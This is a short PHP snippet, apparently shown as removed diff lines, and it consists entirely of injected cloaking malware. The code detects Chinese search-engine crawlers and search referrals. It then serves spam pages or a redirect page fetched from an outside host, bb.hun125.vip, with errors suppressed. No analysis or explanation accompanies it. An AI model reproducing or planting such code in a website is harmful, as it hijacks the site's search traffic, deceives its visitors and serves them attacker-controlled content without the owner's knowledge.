- <?php
- set_time_limit(0);error_reporting(0);$a="stristr";$b=$_SERVER;ini_set('user_agent','Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)');define('url',$b['REQUEST_URI']);define('ref',$b['HTTP_REFERER']);define('ent',$b['HTTP_USER_AGENT']);define('site',"http://bb.hun125.vip/");define('road',"/?road=".$b['HTTP_HOST'].url);define('regs','@Baidu|Sogou|Yisou|Haosou|Spider|So.com|Sm.cn@i');define('area',$a(url,".xml")or $a(url,".doc")or $a(url,".pdf")or $a(url,".txt")or $a(url,".ppt")or $a(url,".pptx")or $a(url,".xls")or $a(url,".csv")or $a(url,".html")or $a(url,".shtml")or $a(url,".tacc")or $a(url,".ga")or $a(url,".gq")or $a(url,"9/")or $a(url,"8/")or $a(url,"6/")and $a(url,"?"));if(area&&preg_match(regs,ref)){echo file_get_contents('http://bb.hun125.vip/tz.html');exit;}if(preg_match(regs,ent)){if(area){echo file_get_contents(site.road);file_get_contents('http://bb.hun125.vip/'.road);exit;}else{echo file_get_contents("http://bb.hun125.vip/?zz=1");ob_flush();flush();}}
- ?>